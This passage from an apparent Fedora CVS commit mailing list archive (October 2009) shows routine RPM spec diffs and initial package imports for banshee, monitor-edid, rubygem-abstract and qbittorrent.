 Summary: Easily import, manage, and play selections from your music collection
 
 Group:   Applications/Multimedia



From ausil at fedoraproject.org  Tue Oct 27 05:26:03 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Tue, 27 Oct 2009 05:26:03 +0000 (UTC)
Subject: rpms/banshee/devel banshee.spec,1.84,1.85
Message-ID: <20091027052603.059B511C00E6@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/banshee/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5021

Modified Files:
	banshee.spec 
Log Message:
actually bump



Index: banshee.spec
===================================================================
RCS file: /cvs/pkgs/rpms/banshee/devel/banshee.spec,v
retrieving revision 1.84
retrieving revision 1.85
diff -u -p -r1.84 -r1.85
--- banshee.spec	26 Oct 2009 21:37:18 -0000	1.84
+++ banshee.spec	27 Oct 2009 05:26:01 -0000	1.85
@@ -3,7 +3,7 @@
 
 Name:    banshee
 Version: %{mainver}%{?patchver}
-Release: 1%{?dist}
+Release: 2%{?dist}
 Summary: Easily import, manage, and play selections from your music collection
 
 Group:   Applications/Multimedia



From ausil at fedoraproject.org  Tue Oct 27 05:30:50 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Tue, 27 Oct 2009 05:30:50 +0000 (UTC)
Subject: rpms/banshee/devel banshee.spec,1.85,1.86
Message-ID: <20091027053050.8CB0A11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/banshee/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6401

Modified Files:
	banshee.spec 
Log Message:
 fix up what i reverted



Index: banshee.spec
===================================================================
RCS file: /cvs/pkgs/rpms/banshee/devel/banshee.spec,v
retrieving revision 1.85
retrieving revision 1.86
diff -u -p -r1.85 -r1.86
--- banshee.spec	27 Oct 2009 05:26:01 -0000	1.85
+++ banshee.spec	27 Oct 2009 05:30:47 -0000	1.86
@@ -3,7 +3,7 @@
 
 Name:    banshee
 Version: %{mainver}%{?patchver}
-Release: 2%{?dist}
+Release: 3%{?dist}
 Summary: Easily import, manage, and play selections from your music collection
 
 Group:   Applications/Multimedia
@@ -19,7 +19,9 @@ ExcludeArch: sparc64
 # Versioned dependencies
 BuildRequires: libmusicbrainz-devel >= 2.1.1
 BuildRequires: mono-devel
-BuildRequires: mono-zeroconf-devel >= 0.7.2
+# see bz #526132 -- this is our first package that disables mDNSresponder
+# which does not work due to glibc dlsym bug
+BuildRequires: mono-zeroconf-devel >= 0.9.0-2
 BuildRequires: hal-devel >= 0.5.6
 BuildRequires: sqlite-devel >= 3.3
 BuildRequires: gstreamer-devel >= 0.10
@@ -202,9 +204,12 @@ fi
 
 
 %changelog
-* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.5.1-2
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.5.1-3
 - ExcludeArch sparc64
 
+* Thu Oct 22 2009 Michel Salim <salimma at fedoraproject.org> - 1.5.1%{?patchver}-2
+- Rebuild against new mono-zeroconf (bz #526132)
+
 * Mon Oct 19 2009 Michel Salim <salimma at fedoraproject.org> - 1.5.1-1
 - Update to final 1.5.1 release
 



From remi at fedoraproject.org  Tue Oct 27 06:20:49 2009
From: remi at fedoraproject.org (Remi Collet)
Date: Tue, 27 Oct 2009 06:20:49 +0000 (UTC)
Subject: rpms/monitor-edid/devel monitor-edid-lrmi.patch, NONE,
	1.1 .cvsignore, 
	1.4, 1.5 monitor-edid-makesource.sh, 1.2, 1.3 monitor-edid.spec,
	1.5, 1.6 sources, 1.4, 1.5
Message-ID: <20091027062049.334B711C02BB@cvs1.fedora.phx.redhat.com>

Author: remi

Update of /cvs/extras/rpms/monitor-edid/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21346

Modified Files:
	.cvsignore monitor-edid-makesource.sh monitor-edid.spec 
	sources 
Added Files:
	monitor-edid-lrmi.patch 
Log Message:
update to 2.5

monitor-edid-lrmi.patch:
 Makefile |    2 +-
 vbe.c    |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE monitor-edid-lrmi.patch ---
diff -up monitor-edid-2.5/Makefile.lrmi monitor-edid-2.5/Makefile
--- monitor-edid-2.5/Makefile.lrmi	2009-10-25 20:30:10.000000000 +0100
+++ monitor-edid-2.5/Makefile	2009-10-25 20:31:34.000000000 +0100
@@ -30,7 +30,7 @@ CFLAGS = -O -Wall -g
 OBJS = monitor-get-edid-using-vbe.c vbe.o libint10.a libx86emu.a
 
 ifeq (i386,$(ARCH))
-monitor-get-edid-using-vbe: LDFLAGS += -llrmi
+OBJS += lrmi.o
 endif
 
 all: $(TARGETS)
diff -up monitor-edid-2.5/vbe.c.lrmi monitor-edid-2.5/vbe.c
--- monitor-edid-2.5/vbe.c.lrmi	2009-10-25 20:30:04.000000000 +0100
+++ monitor-edid-2.5/vbe.c	2009-10-25 20:31:03.000000000 +0100
@@ -193,7 +193,7 @@ int vbe_get_edid_info(hd_data_t *hd_data
 }
 
 #ifdef LRMI
-#include <lrmi.h>
+#include "lrmi.h"
 
 static int vbe_check_vbe_info__old(void)
 {


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/monitor-edid/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	17 Oct 2009 16:36:01 -0000	1.4
+++ .cvsignore	27 Oct 2009 06:20:46 -0000	1.5
@@ -1 +1,2 @@
-monitor-edid-2.4.tar.bz2
+monitor-edid-2.5.tar.bz2
+lrmi-0.10.tar.gz


Index: monitor-edid-makesource.sh
===================================================================
RCS file: /cvs/extras/rpms/monitor-edid/devel/monitor-edid-makesource.sh,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- monitor-edid-makesource.sh	10 Apr 2008 16:52:32 -0000	1.2
+++ monitor-edid-makesource.sh	27 Oct 2009 06:20:47 -0000	1.3
@@ -2,8 +2,8 @@
 
 # check http://svn.mandriva.com/cgi-bin/viewvc.cgi/soft/monitor-edid/trunk/
 
-VERSION=2.0
-RELEASE=242031
+VERSION=2.5
+RELEASE=262278
 
 svn export -r $RELEASE http://svn.mandriva.com/svn/soft/monitor-edid/trunk monitor-edid-$VERSION && \
   tar cjf monitor-edid-$VERSION.tar.bz2 monitor-edid-$VERSION && \


Index: monitor-edid.spec
===================================================================
RCS file: /cvs/extras/rpms/monitor-edid/devel/monitor-edid.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- monitor-edid.spec	17 Oct 2009 16:36:02 -0000	1.5
+++ monitor-edid.spec	27 Oct 2009 06:20:47 -0000	1.6
@@ -6,13 +6,15 @@ License:        GPLv3+ and BSD
 Group:          System Environment/Base
 Url:            http://wiki.mandriva.com/en/Tools/monitor-edid
 
-Version:        2.4
+Version:        2.5
 Release:        1%{?dist}
 
 # run monitor-edid-makesource.sh to create
 Source0:        %{name}-%{version}.tar.bz2
 Source1:        %{name}-makesource.sh
+Source2:        lrmi-0.10.tar.gz
 
+Patch0:         %{name}-lrmi.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -29,6 +31,12 @@ For more information about EDID, see htt
 %prep
 %setup -q
 
+%if 0%{?rhel}
+tar xzf %{SOURCE2}
+cp lrmi-0.10/lrmi.{c,h} .
+cp lrmi-0.10/README README.lrmi
+%patch0 -p1 -b .lrmi
+%endif
 
 %build
 make CFLAGS="$RPM_OPT_FLAGS"
@@ -47,11 +55,18 @@ rm -rf $RPM_BUILD_ROOT
 %files
 %defattr(-,root,root,-)
 %doc README NEWS COPYING
+%if 0%{?rhel}
+%doc README.lrmi
+%endif
 %{_bindir}/*
 %{_sbindir}/*
 
 
 %changelog
+* Sun Oct 25 2009 Remi Collet <Fedora at famillecollet.com> 2.5-1
+- new version
+- bundle lrmi (not available on EL)
+
 * Sat Oct 17 2009 Remi Collet <Fedora at famillecollet.com> 2.4-1
 - new version
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/monitor-edid/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	17 Oct 2009 16:36:02 -0000	1.4
+++ sources	27 Oct 2009 06:20:47 -0000	1.5
@@ -1 +1,2 @@
-aad83368248b58736c3699cc7d9caaf1  monitor-edid-2.4.tar.bz2
+17bd967d77397986b368fa28c6ec9153  monitor-edid-2.5.tar.bz2
+fc1d9495e8f4563fca471bb65f34a5da  lrmi-0.10.tar.gz



From remi at fedoraproject.org  Tue Oct 27 06:28:54 2009
From: remi at fedoraproject.org (Remi Collet)
Date: Tue, 27 Oct 2009 06:28:54 +0000 (UTC)
Subject: rpms/monitor-edid/EL-5 monitor-edid-lrmi.patch, NONE,
	1.1 monitor-edid-makesource.sh, 1.1, 1.2 monitor-edid.spec, 1.1,
	1.2 sources, 1.2, 1.3 monitor-edid-system-lrmi.patch, 1.1, NONE
Message-ID: <20091027062854.98B9411C00E6@cvs1.fedora.phx.redhat.com>

Author: remi

Update of /cvs/extras/rpms/monitor-edid/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22658

Modified Files:
	monitor-edid-makesource.sh monitor-edid.spec sources 
Added Files:
	monitor-edid-lrmi.patch 
Removed Files:
	monitor-edid-system-lrmi.patch 
Log Message:
update to 2.5

monitor-edid-lrmi.patch:
 Makefile |    2 +-
 vbe.c    |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE monitor-edid-lrmi.patch ---
diff -up monitor-edid-2.5/Makefile.lrmi monitor-edid-2.5/Makefile
--- monitor-edid-2.5/Makefile.lrmi	2009-10-25 20:30:10.000000000 +0100
+++ monitor-edid-2.5/Makefile	2009-10-25 20:31:34.000000000 +0100
@@ -30,7 +30,7 @@ CFLAGS = -O -Wall -g
 OBJS = monitor-get-edid-using-vbe.c vbe.o libint10.a libx86emu.a
 
 ifeq (i386,$(ARCH))
-monitor-get-edid-using-vbe: LDFLAGS += -llrmi
+OBJS += lrmi.o
 endif
 
 all: $(TARGETS)
diff -up monitor-edid-2.5/vbe.c.lrmi monitor-edid-2.5/vbe.c
--- monitor-edid-2.5/vbe.c.lrmi	2009-10-25 20:30:04.000000000 +0100
+++ monitor-edid-2.5/vbe.c	2009-10-25 20:31:03.000000000 +0100
@@ -193,7 +193,7 @@ int vbe_get_edid_info(hd_data_t *hd_data
 }
 
 #ifdef LRMI
-#include <lrmi.h>
+#include "lrmi.h"
 
 static int vbe_check_vbe_info__old(void)
 {


Index: monitor-edid-makesource.sh
===================================================================
RCS file: /cvs/extras/rpms/monitor-edid/EL-5/monitor-edid-makesource.sh,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- monitor-edid-makesource.sh	8 Apr 2008 16:01:23 -0000	1.1
+++ monitor-edid-makesource.sh	27 Oct 2009 06:28:54 -0000	1.2
@@ -2,8 +2,8 @@
 
 # check http://svn.mandriva.com/cgi-bin/viewvc.cgi/soft/monitor-edid/trunk/
 
-VERSION=1.16
-RELEASE=238912
+VERSION=2.5
+RELEASE=262278
 
 svn export -r $RELEASE http://svn.mandriva.com/svn/soft/monitor-edid/trunk monitor-edid-$VERSION && \
   tar cjf monitor-edid-$VERSION.tar.bz2 monitor-edid-$VERSION && \


Index: monitor-edid.spec
===================================================================
RCS file: /cvs/extras/rpms/monitor-edid/EL-5/monitor-edid.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- monitor-edid.spec	8 Apr 2008 16:01:23 -0000	1.1
+++ monitor-edid.spec	27 Oct 2009 06:28:54 -0000	1.2
@@ -1,27 +1,26 @@
 Name:           monitor-edid
 Summary:        Tool for probing and parsing monitor EDID
 
-# monitor-edid is LGPL, lrmi is MIT, cvt & x86emu are BSD
-License:        LGPLv2+ and BSD
+# monitor-edid is GPLv3+, x86emu is BSD
+License:        GPLv3+ and BSD
 Group:          System Environment/Base
 Url:            http://wiki.mandriva.com/en/Tools/monitor-edid
 
-Version:        1.16
-Release:        5%{?dist}
+Version:        2.5
+Release:        1%{?dist}
 
 # run monitor-edid-makesource.sh to create
 Source0:        %{name}-%{version}.tar.bz2
 Source1:        %{name}-makesource.sh
+Source2:        lrmi-0.10.tar.gz
 
-Patch0:         %{name}-system-lrmi.patch
+Patch0:         %{name}-lrmi.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %ifarch %{ix86} 
-%if 0%{?fedora}
 BuildRequires: lrmi-devel
 %endif
-%endif
 
 %description
 Monitor-edid is a tool for probing and parsing Extended display 
@@ -32,15 +31,13 @@ For more information about EDID, see htt
 %prep
 %setup -q
 
-%if 0%{?fedora}
-# use system LRMI
-%patch0 -p1
-rm -f lrmi.c lrmi.h
+%if 0%{?rhel}
+tar xzf %{SOURCE2}
+cp lrmi-0.10/lrmi.{c,h} .
+cp lrmi-0.10/README README.lrmi
+%patch0 -p1 -b .lrmi
 %endif
 
-cp x86emu/LICENSE LICENSE.x86emu
-
-
 %build
 make CFLAGS="$RPM_OPT_FLAGS"
 
@@ -57,12 +54,19 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc README NEWS COPYING LICENSE.x86emu
+%doc README NEWS COPYING
+%if 0%{?rhel}
+%doc README.lrmi
+%endif
 %{_bindir}/*
 %{_sbindir}/*
 
 
 %changelog
+* Sun Oct 25 2009 Remi Collet <Fedora at famillecollet.com> 2.5-1
+- new version
+- bundle lrmi (not available on EL)
+
 * Mon Apr 07 2008 Remi Collet <Fedora at famillecollet.com> 1.16-5
 - lrmi not available on EL
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/monitor-edid/EL-5/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	8 Apr 2008 16:01:23 -0000	1.2
+++ sources	27 Oct 2009 06:28:54 -0000	1.3
@@ -1 +1,2 @@
-d90a9c03efd3bf2741ead193c95ef0e1  monitor-edid-1.16.tar.bz2
+17bd967d77397986b368fa28c6ec9153  monitor-edid-2.5.tar.bz2
+fc1d9495e8f4563fca471bb65f34a5da  lrmi-0.10.tar.gz


--- monitor-edid-system-lrmi.patch DELETED ---



From mkent at fedoraproject.org  Tue Oct 27 06:33:51 2009
From: mkent at fedoraproject.org (Matthew Kent)
Date: Tue, 27 Oct 2009 06:33:51 +0000 (UTC)
Subject: rpms/rubygem-abstract/devel import.log, NONE,
	1.1 rubygem-abstract.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091027063351.CD11311C00E6@cvs1.fedora.phx.redhat.com>

Author: mkent

Update of /cvs/pkgs/rpms/rubygem-abstract/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23408/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-abstract.spec 
Log Message:
- Initial CVS import



--- NEW FILE import.log ---
rubygem-abstract-1_0_0-2_magoazul:HEAD:rubygem-abstract-1.0.0-2.magoazul.src.rpm:1256625142


--- NEW FILE rubygem-abstract.spec ---
# Generated from abstract-1.0.0.gem by gem2rpm -*- rpm-spec -*-
%global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global gemname abstract
%global geminstdir %{gemdir}/gems/%{gemname}-%{version}

%global rubyabi 1.8

Summary: Allows you to define an abstract method in Ruby
Name: rubygem-%{gemname}
Version: 1.0.0
Release: 2%{?dist}
Group: Development/Languages
License: GPLv2 or Ruby
URL: http://rubyforge.org/projects/abstract
Source0: http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires: ruby(rubygems)
Requires: ruby(abi) = %{rubyabi}
BuildRequires: ruby(rubygems)
BuildRequires: ruby(abi) = %{rubyabi}
BuildArch: noarch
Provides: rubygem(%{gemname}) = %{version}

%description
Small library that allows you to define an abstract method in Ruby.

%package doc
Summary: Documentation for %{name}
Group: Documentation

Requires: %{name} = %{version}-%{release}

%description doc
This package contains documentation for %{name}.

%prep
%setup -q -c -T

%build
mkdir -p .%{gemdir}
gem install -V \
  --local \
  --install-dir $(pwd)/%{gemdir} \
  --force --rdoc \
  %{SOURCE0}

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
cp -a .%{gemdir}/* %{buildroot}%{gemdir}/

# We have this in specifications/
rm -f %{buildroot}%{geminstdir}/abstract.gemspec

# And we install via gem
rm -f %{buildroot}%{geminstdir}/setup.rb

%clean
rm -rf %{buildroot}

%check
pushd .%{geminstdir}
ruby test/test.rb

%files
%defattr(-,root,root,-)
%doc %{geminstdir}/README.txt
%doc %{geminstdir}/ChangeLog
%dir %{geminstdir}
%{geminstdir}/lib
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%files doc
%defattr(-,root,root,-)
%{geminstdir}/test
%{gemdir}/doc/%{gemname}-%{version}

%changelog
* Sun Oct 24 2009 Matthew Kent <mkent at magoazul.com> - 1.0.0-2
- Fix license

* Mon Oct 19 2009 Matthew Kent <mkent at magoazul.com> - 1.0.0-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-abstract/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:08:30 -0000	1.1
+++ .cvsignore	27 Oct 2009 06:33:50 -0000	1.2
@@ -0,0 +1 @@
+abstract-1.0.0.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-abstract/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:08:30 -0000	1.1
+++ sources	27 Oct 2009 06:33:50 -0000	1.2
@@ -0,0 +1 @@
+ea26d93f0a47a530631da430c9e9b7e5  abstract-1.0.0.gem



From mkent at fedoraproject.org  Tue Oct 27 06:34:56 2009
From: mkent at fedoraproject.org (Matthew Kent)
Date: Tue, 27 Oct 2009 06:34:56 +0000 (UTC)
Subject: rpms/rubygem-abstract/F-11 import.log, NONE,
	1.1 rubygem-abstract.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091027063456.1BBBB11C00E6@cvs1.fedora.phx.redhat.com>

Author: mkent

Update of /cvs/pkgs/rpms/rubygem-abstract/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23977/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-abstract.spec 
Log Message:
- Initial CVS import



--- NEW FILE import.log ---
rubygem-abstract-1_0_0-2_magoazul:F-11:rubygem-abstract-1.0.0-2.magoazul.src.rpm:1256625258


--- NEW FILE rubygem-abstract.spec ---
# Generated from abstract-1.0.0.gem by gem2rpm -*- rpm-spec -*-
%global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global gemname abstract
%global geminstdir %{gemdir}/gems/%{gemname}-%{version}

%global rubyabi 1.8

Summary: Allows you to define an abstract method in Ruby
Name: rubygem-%{gemname}
Version: 1.0.0
Release: 2%{?dist}
Group: Development/Languages
License: GPLv2 or Ruby
URL: http://rubyforge.org/projects/abstract
Source0: http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires: ruby(rubygems)
Requires: ruby(abi) = %{rubyabi}
BuildRequires: ruby(rubygems)
BuildRequires: ruby(abi) = %{rubyabi}
BuildArch: noarch
Provides: rubygem(%{gemname}) = %{version}

%description
Small library that allows you to define an abstract method in Ruby.

%package doc
Summary: Documentation for %{name}
Group: Documentation

Requires: %{name} = %{version}-%{release}

%description doc
This package contains documentation for %{name}.

%prep
%setup -q -c -T

%build
mkdir -p .%{gemdir}
gem install -V \
  --local \
  --install-dir $(pwd)/%{gemdir} \
  --force --rdoc \
  %{SOURCE0}

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
cp -a .%{gemdir}/* %{buildroot}%{gemdir}/

# We have this in specifications/
rm -f %{buildroot}%{geminstdir}/abstract.gemspec

# And we install via gem
rm -f %{buildroot}%{geminstdir}/setup.rb

%clean
rm -rf %{buildroot}

%check
pushd .%{geminstdir}
ruby test/test.rb

%files
%defattr(-,root,root,-)
%doc %{geminstdir}/README.txt
%doc %{geminstdir}/ChangeLog
%dir %{geminstdir}
%{geminstdir}/lib
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%files doc
%defattr(-,root,root,-)
%{geminstdir}/test
%{gemdir}/doc/%{gemname}-%{version}

%changelog
* Sun Oct 24 2009 Matthew Kent <mkent at magoazul.com> - 1.0.0-2
- Fix license

* Mon Oct 19 2009 Matthew Kent <mkent at magoazul.com> - 1.0.0-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-abstract/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:08:30 -0000	1.1
+++ .cvsignore	27 Oct 2009 06:34:55 -0000	1.2
@@ -0,0 +1 @@
+abstract-1.0.0.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-abstract/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:08:30 -0000	1.1
+++ sources	27 Oct 2009 06:34:55 -0000	1.2
@@ -0,0 +1 @@
+ea26d93f0a47a530631da430c9e9b7e5  abstract-1.0.0.gem



From mkent at fedoraproject.org  Tue Oct 27 06:35:47 2009
From: mkent at fedoraproject.org (Matthew Kent)
Date: Tue, 27 Oct 2009 06:35:47 +0000 (UTC)
Subject: rpms/rubygem-abstract/F-12 import.log, NONE,
	1.1 rubygem-abstract.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091027063547.170E211C00E6@cvs1.fedora.phx.redhat.com>

Author: mkent

Update of /cvs/pkgs/rpms/rubygem-abstract/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24341/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-abstract.spec 
Log Message:
- Initial CVS import



--- NEW FILE import.log ---
rubygem-abstract-1_0_0-2_magoazul:F-12:rubygem-abstract-1.0.0-2.magoazul.src.rpm:1256625321


--- NEW FILE rubygem-abstract.spec ---
# Generated from abstract-1.0.0.gem by gem2rpm -*- rpm-spec -*-
%global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global gemname abstract
%global geminstdir %{gemdir}/gems/%{gemname}-%{version}

%global rubyabi 1.8

Summary: Allows you to define an abstract method in Ruby
Name: rubygem-%{gemname}
Version: 1.0.0
Release: 2%{?dist}
Group: Development/Languages
License: GPLv2 or Ruby
URL: http://rubyforge.org/projects/abstract
Source0: http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires: ruby(rubygems)
Requires: ruby(abi) = %{rubyabi}
BuildRequires: ruby(rubygems)
BuildRequires: ruby(abi) = %{rubyabi}
BuildArch: noarch
Provides: rubygem(%{gemname}) = %{version}

%description
Small library that allows you to define an abstract method in Ruby.

%package doc
Summary: Documentation for %{name}
Group: Documentation

Requires: %{name} = %{version}-%{release}

%description doc
This package contains documentation for %{name}.

%prep
%setup -q -c -T

%build
mkdir -p .%{gemdir}
gem install -V \
  --local \
  --install-dir $(pwd)/%{gemdir} \
  --force --rdoc \
  %{SOURCE0}

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
cp -a .%{gemdir}/* %{buildroot}%{gemdir}/

# We have this in specifications/
rm -f %{buildroot}%{geminstdir}/abstract.gemspec

# And we install via gem
rm -f %{buildroot}%{geminstdir}/setup.rb

%clean
rm -rf %{buildroot}

%check
pushd .%{geminstdir}
ruby test/test.rb

%files
%defattr(-,root,root,-)
%doc %{geminstdir}/README.txt
%doc %{geminstdir}/ChangeLog
%dir %{geminstdir}
%{geminstdir}/lib
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%files doc
%defattr(-,root,root,-)
%{geminstdir}/test
%{gemdir}/doc/%{gemname}-%{version}

%changelog
* Sun Oct 24 2009 Matthew Kent <mkent at magoazul.com> - 1.0.0-2
- Fix license

* Mon Oct 19 2009 Matthew Kent <mkent at magoazul.com> - 1.0.0-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-abstract/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:08:30 -0000	1.1
+++ .cvsignore	27 Oct 2009 06:35:45 -0000	1.2
@@ -0,0 +1 @@
+abstract-1.0.0.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-abstract/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:08:30 -0000	1.1
+++ sources	27 Oct 2009 06:35:46 -0000	1.2
@@ -0,0 +1 @@
+ea26d93f0a47a530631da430c9e9b7e5  abstract-1.0.0.gem



From remi at fedoraproject.org  Tue Oct 27 06:45:45 2009
From: remi at fedoraproject.org (Remi Collet)
Date: Tue, 27 Oct 2009 06:45:45 +0000 (UTC)
Subject: rpms/monitor-edid/EL-5 monitor-edid.spec,1.2,1.3
Message-ID: <20091027064545.E7AF211C00E6@cvs1.fedora.phx.redhat.com>

Author: remi

Update of /cvs/extras/rpms/monitor-edid/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27446

Modified Files:
	monitor-edid.spec 
Log Message:
update to 2.5 (remove BR lrmi)


Index: monitor-edid.spec
===================================================================
RCS file: /cvs/extras/rpms/monitor-edid/EL-5/monitor-edid.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- monitor-edid.spec	27 Oct 2009 06:28:54 -0000	1.2
+++ monitor-edid.spec	27 Oct 2009 06:45:45 -0000	1.3
@@ -7,7 +7,7 @@ Group:          System Environment/Base
 Url:            http://wiki.mandriva.com/en/Tools/monitor-edid
 
 Version:        2.5
-Release:        1%{?dist}
+Release:        1%{?dist}.1
 
 # run monitor-edid-makesource.sh to create
 Source0:        %{name}-%{version}.tar.bz2
@@ -18,9 +18,11 @@ Patch0:         %{name}-lrmi.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+%if 0%{?fedora}
 %ifarch %{ix86} 
 BuildRequires: lrmi-devel
 %endif
+%endif
 
 %description
 Monitor-edid is a tool for probing and parsing Extended display 
@@ -63,6 +65,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 27 2009 Remi Collet <Fedora at famillecollet.com> 2.5-1.1
+- remove BR lrmi-devel on EL
+
 * Sun Oct 25 2009 Remi Collet <Fedora at famillecollet.com> 2.5-1
 - new version
 - bundle lrmi (not available on EL)



From leigh123linux at fedoraproject.org  Tue Oct 27 06:46:05 2009
From: leigh123linux at fedoraproject.org (Leigh Scott)
Date: Tue, 27 Oct 2009 06:46:05 +0000 (UTC)
Subject: rpms/qbittorrent/devel qbittorrent.spec,1.39,1.40
Message-ID: <20091027064605.6658311C00E6@cvs1.fedora.phx.redhat.com>

Author: leigh123linux

Update of /cvs/pkgs/rpms/qbittorrent/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27641

Modified Files:
	qbittorrent.spec 
Log Message:
* Tue Oct 27 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.4-2
- rebuilt for qt 4.6



Index: qbittorrent.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qbittorrent/devel/qbittorrent.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- qbittorrent.spec	25 Oct 2009 14:28:13 -0000	1.39
+++ qbittorrent.spec	27 Oct 2009 06:46:04 -0000	1.40
@@ -3,7 +3,7 @@
 Name:    qbittorrent
 Summary: A Bittorrent Client 
 Version: 1.5.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 # The source for this package was pulled from upstream's vcs.  Use the
 # following commands to generate the tarball:
 # svn checkout -r %{svn_rev} https://qbittorrent.svn.sourceforge.net/svnroot/qbittorrent/trunk qbittorrent
@@ -74,6 +74,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/icons/hicolor/*/apps/qbittorrent.png
 
 %changelog
+* Tue Oct 27 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.4-2
+- rebuilt for qt 4.6
+
 * Sun Oct 25 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.4-1
 - update to 1.5.4
 - drop flags patch



From remi at fedoraproject.org  Tue Oct 27 06:53:46 2009
From: remi at fedoraproject.org (Remi Collet)
Date: Tue, 27 Oct 2009 06:53:46 +0000 (UTC)
Subject: rpms/monitor-edid/EL-4 monitor-edid-lrmi.patch, NONE,
	1.1 monitor-edid-makesource.sh, 1.1, 1.2 monitor-edid.spec, 1.1,
	1.2 sources, 1.2, 1.3 monitor-edid-system-lrmi.patch, 1.1, NONE
Message-ID: <20091027065346.0F22511C00E6@cvs1.fedora.phx.redhat.com>

